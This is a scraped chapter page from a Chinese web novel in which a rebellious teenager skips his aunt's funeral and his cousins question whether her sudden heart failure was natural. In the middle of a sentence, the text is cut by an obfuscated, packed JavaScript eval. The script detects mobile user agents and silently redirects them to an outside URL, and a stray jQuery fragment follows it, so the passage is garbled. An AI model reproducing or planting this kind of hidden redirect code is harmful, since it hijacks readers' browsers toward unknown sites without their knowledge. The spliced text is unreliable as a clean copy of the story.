文趣网 > 都市小说 > 穆里亚的精灵文明 > 2. 第一章 潜龙勿用(1)
    “还不快起!要睡到几点?”

    何仕佳睁开眼睛,从床上奋力坐起来,使劲晃晃脑袋,试图让自己的意识变得清醒。

    “该起床了!赶紧起来!刷牙洗脸!然后吃早点!”张诗音催促他。

    “昨天吃多了,今天不太想吃早点,有些撑得。”

    “昨天去哪儿了?打电话不接!”

    “跟同学聚会去了。”

    何仕佳故意回避母亲后半句话,张诗音没有再说什么,转过头来收拾起桌子上刚吃过早餐后的残局。

    “宝贝,你二姨没了,这两天咱得去行礼。”

    “哦,二姨没了?”,何仕佳露出一脸无所事事的样子,“行李是什么意思?”

    “吊丧的意思。”

    何仕佳忽然猛地起身:“早说啊,我今天跟班里的女同学约好去看电影!《你的名字》在这几天全国重映!那会儿我学业繁忙就没赶上《天气之子》的首映,错过了机会!”

    “昨天刚去完,今天还去聚会?”,张诗音把抹布重重地摔在餐桌上,“你二姨没了知道不?金莺她妈没了知道不?”

    “知道啊,二姨没了,但我不想去。”

    “那是你家人懂吗!这么大人了屁也不懂?”张诗音刻意放大嗓音。

    何仕佳激动得差点跳起来,浑身上下充斥着青少年的叛逆:“家人有什么用?她以前怎么对待咱们的?家人就可以无故干涉咱家的事情?我恨死她了你懂吗?你才屁也不懂!没了更好,我才不去!”

    “唉,生了你这么个没心没肺的东西。”母亲转过头去,继续干活。

    “我对他们家能有什么真挚的感情?他们一家子都是刺猬转生的!”

    “你二姨这么多年没少照顾你,这是你最后能再见到你二姨一面的机会,你执意不去?让你二姐听见你说这话,非得打熟了你!”

    “还非得我去?”

    “你放假在家,你不去谁去?就算你没有放假,你也必须去,因为这是你最亲的人,懂么?”

    “我姐上次跟我说以后不让我去她们家了。”

    “她什么时候说的?瞎扯。”

    “烦死了!我对二姨没感情!”

    何仕佳再次顶撞了她,张诗音瞪大眼睛看着他,什么都没有说,就这么一直瞪着他。

    夏日炎炎,艳阳高照,母亲热的简直没了脾气,只剩下拔凉拔凉的心在颤动着,儿子说这种话简直太让人寒心了,冷血地宛如吃奶忘娘的禽兽。

    透过玻璃向外望去,在不远处的街道上,人烟稀少,只有一个占着便道售卖冷饮的商贩,商贩就地插着伞棚,坐在树荫底下乘凉,身后是他租用的简易平房,桌子上是自动吆喝着的喇叭,受到夏日高温气候的影响,知了声持续不断,连马路下面草丛里的动物都热得上蹿下跳,完全静不下来的样子。

    顺着草丛向那头延伸过去,是一个狭长的楼当,楼当那面,闪过一个年轻貌美的女孩,她紧握着手机,脸上的表情十分严肃。

    女孩外貌看上去略显朴素,并没有化妆,她穿着白色的无袖短衫,衣料上面用压花工艺糊上了两个前后并列的心被一支箭矢同时刺穿的图案,下身穿着深蓝色的牛仔短裤,腰上扎着皮带。

    何仕佳躺在自己的单人床上,似睡非睡,时不时地翻动着身体,母亲坐在客厅的沙发上,干瞪着手机发呆,时不时地喘着粗气,母子二人谁也不理谁,在这样的窘境中一分一秒地过去了。

    外面传来了一阵脚步声,何仕佳没听见,躺在床上装睡,母亲像是受到触动一样地站起身,朝着防盗门走了过去。

    门铃响起,母亲立即向下扳动门把手,刚才那个穿梭在楼当中的年轻女孩站在了她的面前。

    “三姨好!”

    “夏诗,你怎么来了?”何仕佳的母亲有些诧异。

    “二姨那边的事情,您考虑地如何了?”

    “今天去。”

    “那您赶快动身吧。”

    “你来我家干什么?”

    “我找何仕佳有一些事情。”

    “找他有事?我正要带他去二姨家。”

    “那个。”,夏诗停顿了一下,脸上的光泽黯淡下来,“金莺说了,不让何仕佳来参加她妈妈的吊唁,来了就轰走。”

    何仕佳的母亲顿时无言以对,然后轻声叹气。

    何仕佳没去参加他二姨的吊唁仪式。

    少年何仕佳背着他的初音未来消失同款角色插画的双肩背书包,大踏步地行走在人来人往的街道上。他的上身穿着浅黄色的短袖T恤,上面印有凉宫春日角色图案未上色的线稿,下身穿着一条浅蓝色的牛仔短裤。

    度过这个暑假,就上高三了,他很清楚这意味着什么,但是他还没有消遣够,他的脑子里全然没有高考这个概念,也没有作为小辈,亲戚的丧事要去吊丧的概念,他的脑子绝大多数都被二次元文化所占领,他甚至觉得,二姨死亡,可能是转生到异世界了。

    何仕佳心想,高二的暑假不会很长,这次好不容易能和班里的女同学约会见面去看一场来之不易的动漫电影,无论如何都要好好地表示一下自己的诚意,他暗恋那个女孩很长时间了,却一直不敢表白。

    大悦城,三个少年聚集在商场中庭的栏杆前,他们的后面,挂着影城的横幅,前面是标示有禁止翻越警示语的护栏。

    其中一个戴着黑色耳麦,留着日系齐耳短发,身穿无袖牛仔衫的女孩发起了牢骚:“我从家赶到这,顺道在这儿吃了顿日料,我都吃完饭了,这何仕佳还没到呢。”

    “再等等嘛,也许家里有什么事呢。”另一个略微发胖的男孩说道。

    “每次学校考试都迟到,每天放学比谁都快离校,鬼信他家里有事。”

    唯独第三个人,一个女孩,静默地站在中庭的护栏前,双手平搭在钢化玻璃上面的金属杆上,眼睛向斜下方凝视,沉默不语。

    金莺双手合十站在母亲的灵堂前,嘴里面喃喃自语。

    金莺是夏诗的妹妹,也是何仕佳的姐姐,金莺身后的沙发位置被挪空,变成了铺在地砖上的被褥,夏诗屈膝坐在地面的被褥上,双手交叉放在小腿上,表情茫然。灵堂上摆放的念佛机,单调的韵律循环往复飘在一百多平米的大房子中,让人听后心情格外平静,没有悲伤,也没有快乐,只有无穷无尽的空洞和沉寂,死者的亡灵将伴随着这样沉寂的韵律慢慢升入虚空,与这个世界做最后的告别。

    “小夏。”金莺竭力压制住情绪。

    “嗯?”夏诗很快作出回应。

    “我母亲的死,和你说的那个青年,到底有什么必要的联系?”

    夏诗下意识地将头向前抬,说:“靠!你还念念不忘那个家伙呢。你相信他说的话么?反正我不能容忍他如此这般地污蔑别人,更何况污蔑的人是你的母亲,我从来都没有见过像他这种年纪就满口芬芳的!”“你回答我的问题,我不想听你说他污蔑谁,我只想要一个能够让我信服的答案。”,金莺抬高了嗓音,“我就问你,他说什么了?”

    “他说的不是人话!”

    “不是人话你也给我原封不动地重复一遍!”金莺再次抬高嗓音。

    夏诗按捺住内心的尴尬,刻意压低声音说:“他说,有个傻逼甘愿当做替罪羊代替某个人去完成他的夙愿,最终夙愿没有完成,傻逼却死了。”

    “我母亲就是那个傻逼对么?”

    夏诗下意识地将上半身向后面仰,摇动双手说:“这可不是我说的啊,你让我重复原话的!”

    “他说的这件事发生在什么时候,有跟你说过么?”

    夏诗挠头晃脑:“这个还真的不知道呢。”

    金莺转过身面向她:“所以你才不想相信他说的话对么?”

    “小金,我……”

    “你不相信我能理解,但我相信与否和你是否相信没有任何关联,我母亲她一生中从来没患过心脏病,这三个月以来,她一点消息都没有,回家后的第三天就突发急性心肌梗塞死亡,但医院的最终检查结果让我难以认同她是突发心脏病猝死,检测单上清清楚楚地写着,心肌细胞衰竭致使心脏病突发,而这种衰竭是至少到了七十

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645986|206792||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    岁才会明显显现的,我母亲五十岁,这中间的好几十年寿命难道被剪掉了么?”

    “这种话你相信吗?”

    “小夏,我再问你,你总跟我提起的那个神出鬼没的青年,那个骂我母亲是傻逼的人,到底是什么身份?”

    “操着一口流利的汉语,个子一米八左右,他认为自己很了不起,藐视一切人类,他没有明说但这就是他给我的感觉。”

    “我问你他姓什么叫什么!”金莺还没等她说完就不耐烦地打断她。

    “姓陈!叫陈什么来着?”,夏诗转了转眼珠子,努力回忆那个人曾经留给她的印象,“他爸爸跟我妈妈有交情,我只知道这么多,可我对他没什么好感,这人太自负了,自负也就罢了还装作一副清高的样子,还好意思说要娶我为妻!我呸!真想啐他一脸。”

    金莺点了点头:“听你这么一说,这个人,我可能认识。”

    “谁呀?”夏诗好奇地凑近她。

    “他是谁你不必知道,我跟他见过面,他的本事不简单,经常参加各种极限运动的挑战比赛,在闹市区和房顶子上跑酷是家常便饭的项目,为了体验坠落的快感还特意参加过飞机上跳伞的运动,算得上是我见过的同龄人里胆魄相当之大的了,他父亲也挺有本事的,跟一个考古学家是出生入死的好搭档,但是考古学家已经没了。”

    夏诗走进里屋,她的母亲看到女儿突然闯了进来,招呼都不打就说:“坐累了么?累了就进屋休息吧,别熬坏身子。”

    夏诗坐在母亲身边,用手揉捏着母亲的肩膀,打了一个哈欠,看着母亲一言不发。

    “这儿是不是太吵了,海璃川一会儿就买午饭回来了,人太多你心态乱也睡不好。”

    “没事的啦,偶尔一次。”夏诗向母亲暧昧地撒娇。

    不一会儿,一个年轻人从敞开着的防盗门外面快步走进来,手里提着两大兜子张亮麻辣烫。

    年轻人看上去二十岁左右,头发是黑色的,圆形瓜子脸,深褐色眼瞳,眼形为杏眼,鼻梁骨略矮,他留着鸡毛一样散乱的中短发,长度与双鬓平齐,看上去像是扫床的鸡毛掸子一样,额前有一撮齐刘海,他穿着杰克琼斯经典的红白格子款式长袖衬衫,脖子上戴着一串粗厚的镀金项链,左手手腕上戴着一个深红色的战国红玛瑙手串。

    年轻人名叫海璃川,原本是一个非常不正经地浪荡子,后来因为某些原因放肆的本性得到了些许约束,也因此能够成为与夏诗及其堂妹金莺聊得来的好朋友。

    海璃川双手提着装张亮麻辣烫的一次性塑料袋,呆望着从里屋走出来的金莺,金莺很不客气地伸手夺过装着麻辣烫塑料碗的塑料袋,放在了一旁的茶几上。

    “怎么了?哑巴了?看见我不说话了?”

    “金姐,不好意思,有些晚了。”海璃川下意识地看了看墙上挂着的电子钟。

    “晚了一个小时,你说十二点能回来,现在已经快一点了,另外,别总叫我姐。”金莺语气十分平静地说道,好像警察正在审讯犯人一样。

    “还愣着干什么?拿着和夏诗上那边吃去吧!”

    “那你......”

    “我不饿!”金莺没好气地转头而去。

    海璃川呆望着手中提着的两兜子张亮麻辣烫,一个兜子里装着两碗,一共四碗,麻辣烫的热气顺着透明的塑料袋形成了水雾,黏在上面,香气则迅速的蔓延在整个房间里,这时的他,尴尬了,他一个人吃不了两碗,或者三碗。

    “剩两份给谁?”海璃川露出茫然的眼神。

    “留着给你们两个人当夜宵。”金莺说话丝毫不拖泥带水。

    海璃川有些脸红起来。

    “金姐。”

    金莺立即转身对向他大吼:“我还没夏诗大!别总叫我姐!姐!姐!”

    “金莺!我和夏诗不是情侣关系,你怎么总把我们当成情侣看待!”

    “我没说你们是情侣,赶紧滚那边吃去吧,别在这儿碍眼!”金莺伸手示意他进屋。

    海璃川拿起其中一兜麻辣烫,顺手带进了里屋。